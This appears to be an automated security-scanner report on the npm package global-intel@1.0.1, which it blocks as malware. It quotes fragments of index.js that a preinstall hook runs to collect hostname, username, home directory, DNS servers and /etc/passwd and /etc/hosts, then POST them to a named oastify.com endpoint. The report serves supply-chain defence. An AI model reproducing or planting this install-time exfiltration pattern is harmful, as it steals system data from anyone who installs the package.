global-intel@1.0.1: Malicious npm security report (Block)

AI Security Review

scanned 7d ago · by lpm-firewall-ai

Installation automatically executes index.js. It harvests host identity and local system files, then exfiltrates them via HTTPS.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall

Impact

Leaks local host, user, DNS, and /etc/passwd and /etc/hosts contents to a third party.

Mechanism

install-time host fingerprinting and HTTPS data exfiltration

Attack narrative

During npm preinstall, package.json executes index.js. The script gathers installation-path, home-directory, hostname, username, DNS, and package metadata, reads /etc/passwd and /etc/hosts if available, and POSTs the serialized data to the fixed oastify.com endpoint.

Rationale

Direct source inspection confirms unconsented install-time collection and external transmission of local system data. This is concrete credential/system-data exfiltration behavior.

Evidence

package.jsonindex.js/etc/passwd/etc/hosts

Network endpoints1

0gh240ybp2rb80iyzrg4w2o3tuzlncb1.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node index.js` in preinstall.
index.js collects home directory, hostname, username, and DNS servers.
index.js reads /etc/passwd and /etc/hosts when present.
index.js POSTs collected data to an oastify.com host.

Evidence against

No legitimate package functionality beyond system-data collection is present.

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.97 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = boardwalk-js-tests@1.1.1 matchedPath = index.js matchedIdentity = npm:Ym9hcmR3YWxrLWpzLXRlc3Rz:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5442fb9217b0dd0a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = boardwalk-js-tests@1.1.1 matchedPath = index.js matchedIdentity = npm:Ym9hcmR3YWxrLWpzLXRlc3Rz:1.1.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

Findings

5 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings